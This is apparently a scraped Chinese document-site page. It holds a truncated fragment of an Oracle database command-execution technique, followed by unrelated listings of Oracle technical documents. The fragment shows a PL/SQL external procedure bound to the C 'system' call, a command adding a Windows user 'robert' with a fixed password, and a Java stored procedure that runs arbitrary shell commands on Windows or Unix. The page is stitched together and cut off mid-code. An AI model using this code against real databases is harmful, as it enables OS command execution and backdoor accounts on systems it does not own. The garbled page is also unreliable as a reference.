无介绍
ring IN CHAR)
10IS EXTERNAL
11NAME "system"
12LIBRARY exec_shell
13LANGUAGE C;
14end oracmd;
15/
16show errors
执行完后
执行 [url=doc.guandang.net]链接标记预览源代码[/url] [url=doc.guandang.net]链接标记打印[/url][url=doc.guandang.net]链接标记关于[/url]1exec oracmd.exec ('net1 user robert iloveyou /add');
no2. [url=doc.guandang.net]链接标记预览源代码[/url] [url=doc.guandang.net]链接标记打印[/url][url=doc.guandang.net]链接标记关于[/url]001Create or REPLACE AND COMPILE JAVA SOURCE NAMED "Host" AS
002import java.io.*;
003public class Host {
004public static void executeCommand(String command) {
005try {
006String[] finalCommand;
007if (isWindows()) {
008finalCommand = new String[4];
009// Use the appropriate path for your windows version.
010finalCommand[0] = "C:\\windows\\system32\\cmd.exe"; // Windows XP/2003
011//finalCommand[0] = "C:\\winnt\\system32\\cmd.exe"; // Windows NT/2000
012finalCommand[1] = "/y";
013finalCommand[2] = "/c";
014finalCommand[3] = command;
015}
016else {
017finalCommand = new String[3];
018finalCommand[0] = "/bin/sh";
019finalCommand[1] = "-c";
020finalCommand[2] = command;
021}
022
023final Process pr = Runtime.getRuntime().exec(finalCommand);
024pr.waitFor();
025
026new Thread(new Runnable(){
027public void run() {
028BufferedReader br_in = null;
029try {
030br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
031String buff = null;
032while ((buff = br_in.readLine()) != null) {
033System.out.println("Process out :" + buff);
034try {Thread.sleep(100); } catch(Exception e) {}
035}
036br_in.close();
037}
038catch (IOException ioe) {
039System.out.println("Exception caught printing process output.");
040ioe.printStackTrace();
041}
042finally {
043try {
044br_in.close();
045} catch (Exception ex) {}
046}
047}
048}).start();
049
050new Thread(new Runnable(){
051public void run() {
052BufferedReader br_err = null;
053try {
054br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
055String buff = null;
056while ((buff = br_err.readLine()) != null) {
057System.out.println("Process err :" + buff);
058try {Thread.sleep(100); } catch(Exception e) {}
059}
060br_err.close();
061}
062catch (IOException ioe) {
063System.out.println("Exception caught printing process error.");
064ioe.printStackTrace();
065}
066finally {
067try {
068br_err.close();
069} catch (Exception ex) {}
070}
071}
072}).start();
073}
074catch (Exception ex) {
075System.out.println(ex.getLocalizedMessage());
076}
077}
078
079public static boolean isWindows
oracle技术文档 第二章... oracle技术文档 第三章... oracle技术文档 第四章 ... oracle技术文档 第五章 ... oracle技术文档 第六章... oracle技术文档 ...
Oracle数据库技术文档_IT/计算机_专业资料。oracle 表空间,分区表,索引,恢复与备份技术Oralec 数据库技术文档 Oralec 数据库技术文档 ... 1 ORACLE...
关键词:oracle 1/2 同系列文档 oracle技术文档 第一章 备... oracle技术文档 第二章 物... oracle技术文档 第三章 恢... oracle技术文档 第四章 Ex......
oracle技术文档 第五章 Recovery Manager(RMAM)概述_计算机硬件及网络_IT/计算机_专业资料。ORACLE 第五章 RMAN(Recover Manager) Copyright ? Sinobest Technology ...
oracle技术文档 第四章 Export 和Import工具_计算机软件及应用_IT/计算机_专业资料。ORACLE 第四章 Oracle Export 和Import工具 Copyright ? Sinobest Technology ...
oracle10g-install安装技术文档_计算机软件及应用_IT/计算机_专业资料。全面的介绍oracle的安装过程一、安装环境我是在Wmware里虚拟的RHEL5,分配的内存1G,SWAP分区1G...
oracle技术文档-监听器专题(精)_IT/计算机_专业资料。11g监听器深入解析0racle 技术文档版本 V1.0 日期 2011/10/25 Oracle 技术文档系列之 Oracle 监听器 文件...
关键词:oracle 1/2 同系列文档 oracle技术文档 第一章 备... oracle技术文档 第二章 物... oracle技术文档 第四章 Ex... oracle技术文档 第五章 Re.....
OracleCDC技术文档 隐藏>> Oracle Change Data Capture 应用指南一、概述 CDC(Change Data Capture)是 oracle 在数据库级别实现的增量抽取解决方案。在一般的 ETL...
热门文档